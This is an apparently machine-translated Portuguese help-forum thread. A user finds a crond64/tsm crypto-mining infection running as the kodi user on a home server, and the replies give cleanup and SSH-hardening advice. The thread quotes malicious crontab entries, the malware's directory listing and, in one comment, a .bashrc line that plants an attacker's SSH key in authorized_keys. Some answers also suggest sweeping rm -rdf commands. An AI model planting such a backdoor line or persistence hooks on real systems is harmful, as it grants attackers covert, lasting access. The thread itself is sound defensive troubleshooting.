vírus crond64 / tsm no Ubuntu

14

Recentemente, notei que meu servidor doméstico estava dolorosamente lento. Todos os recursos foram consumidos por dois processos: crond64e tsm. Mesmo que eu os tenha matado repetidamente, eles continuavam aparecendo várias vezes.

Ao mesmo tempo, meu ISP estava me notificando sobre um abuso originado no meu endereço IP:

==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]

Fui informado por este site que eu poderia ter um vírus. Eu corro o Sophos AV escaneando meu disco rígido inteiro e, de fato, ele encontrou algum vírus /tmp/.mountfs/.rsync. Então eu apaguei a pasta inteira e pensei que era isso. Mas continuou voltando depois. Depois, verifiquei o arquivo cron do usuário /var/spool/cron/crontabs/kodi(o vírus estava sendo executado usando o usuário do meu servidor de mídia kodi), com a seguinte aparência:

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb  3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1

Parece que o vírus está se reativando de vez em quando em outro diretório. O conteúdo desse diretório é:

>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d  /home/kodi/.ttp/dir2.dir

/home/kodi/.ttp/a:
a  bash.pid  config.txt  crond32  crond64  cronda  crondb  dir.dir  pools.txt  run  stop  upd

/home/kodi/.ttp/b:
a  dir.dir  rsync  run  stop  sync

/home/kodi/.ttp/c:
aptitude  dir.dir  go  ip  lib  n  p  run  slow  start  stop  tsm  tsm32  tsm64  v  watchdog

Eu apaguei todos esses arquivos e as entradas no crontab e espero que com isso, o problema seja resolvido. No entanto, eu estaria interessado em saber o que era esse vírus, como eu o pego (pode estar conectado ao Kodi) e o que posso fazer para evitá-lo. Felizmente, ele estava sendo executado apenas por um usuário com direitos limitados, mas ainda era chato de lidar.


EDITAR

Embora eu aparentemente tenha removido todos os restos desse vírus (também removi toda a pasta tmp), o vírus continuava voltando. Percebi que havia uma entrada na ~/.ssh/authorized_hostsqual eu definitivamente não me colocava. Isso explica como o vírus pode ser replantado repetidamente. Eu removi a entrada, desabilitei o login para esse usuário, desabilitei o login com senha (somente senha) e use agora uma porta não padrão.

Também notei tentativas repetidas de login no meu servidor com nomes de usuário aleatórios, provavelmente por algum tipo de bot (o log parecia surpreendentemente semelhante ao iniciado pelo meu IP, enviado pelo provedor de serviços de Internet). Eu acho que foi assim que meu computador foi infectado em primeiro lugar.

erik
fonte
4
Lembre-se de que, se você já foi invadido uma vez, é provável que outras coisas no disco estejam infectadas ou violadas. Você provavelmente deve explodir o sistema e reconstruí-lo. Os vírus raramente afetam apenas um aplicativo e geralmente se espalham pelo disco.
Thomas Ward
Concordo! se alguém tem no seu sistema limpar o sistema e restaurar um backup do sistema
Rinzwind
Claro, essa seria a solução para salvar. Mas eu apenas havia reinstalado este sistema e não queria reinstalá-lo sem entender o que aconteceu. Ao copiar os arquivos, isso poderia ter começado novamente e eu teria perdido meu tempo.
Erik
Provavelmente, seu sistema foi violado, portanto, como o vírus é reinfetado. Eu usava o sistema e começava do zero.
Thomas Ward
1
Eu também achei infecção no arquivo .bashrc do usuário: cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~. Eu apenas fiz um cp /etc/skel/.bashrc /home/mycompromiseduser/para removê-lo.
letsjump

Respostas:

6

Eu tive o mesmo O serviço instalou o rsync e obteve alguns arquivos. Encontrei um dota.tar.gzarquivo na pasta do usuário.

  1. negar a porta 22 de saída no firewall (por exemplo ufw deny out 22)
  2. pkill -KILL -u kodi (isso mata todos os processos em execução do usuário kodi)
  3. deluser kodi
  4. remover userhome
  5. remover rsync (eu não usei isso)
  6. retirar /tmp/.mountfs*

Por favor, note que isso provavelmente arruinará as coisas do kodi. Em vez de remover todo o lar do usuário, você provavelmente pode remover apenas dota.tar.gz(se houver) e a .ttppasta (não se esqueça de limpar o crontab!)

Após uma reinicialização, não vejo mais nenhuma conexão de saída (verifique com:

netstat -peanut | grep 22

A infecção ocorreu através de um usuário com uma senha fraca (conta kodi com a senha padrão, talvez?)

Sjors Nijhuis
fonte
1

Eu tinha o mesmo malware. A entrada foi feita através de uma senha de usuário não salva via ssh (porta não padrão), foi detectada e removida após aproximadamente 24 horas.

No meu caso, a exclusão de crontab do usuário, rm -rdf /tmp/.*, rm -rdf /home/user/.*, killall -u userera suficiente.

final
fonte
1

Teve essa coisa hoje. Examinei o sistema e descobri que meu sistema tem rastreamentos há cerca de um mês e não percebi que isso existia até que meu ISP me notificasse.

O malware veio de um usuário inseguro com uma senha fraca. No meu caso, era usuário do timemachine. O registro de penetração ficou assim.

98341:Dec 23 23:45:36 fileserver sshd[23179]: Accepted password for timemachine from 46.101.149.19 port 45573 ssh2

Esse é o minerador XMRIG e uma exploração que verifica outros IPs em busca das mesmas fraquezas. Portanto, uma máquina pode infectar em cascata dezenas de outras. Você pode dar uma olhada no relatório da MS sobre esse ataque cibernético .

A proteção mais eficaz contra esse tipo de ataque é a instalação fail2banno servidor, o acesso ssh com limitação de taxa ufwe o uso da ACL da lista de permissões para sistemas que podem acessar o SSH no servidor.

Roman Savrulin
fonte
0

No meu caso, a fonte de infecção foi um usuário que não alterou sua senha não segura desde quando criei sua conta (é claro que eu disse para ele). Meu servidor provavelmente está em algumas listas: recebo cerca de 1000 proibições por semana do fail2ban (tente 4 vezes com um usuário ou senha incorretos e fique bloqueado por um mês)

Sjors Nijhuis
fonte
0

Esta é a minha solução (também chamada de malware de mineração de crypo):

  1. pkill the crontab empregos
  2. limpe o que quer que a descrição deste trabalho do crontab aponte para, por exemplo: /home/xxx/.ttp/a/upd>/dev/null 2> & 1
  3. remover /tmp/.xxx/.rsync/c/aptitude>/dev/null 2> & 1
  4. o mais importante (leva muito tempo para chegar lá), caso contrário ele continuará voltando: execute crontab -e (para esse usuário), você encontrará acima o trabalho do crontab, exclua todos eles e salve-o.
  5. altere o número da porta.
Jack Ma
fonte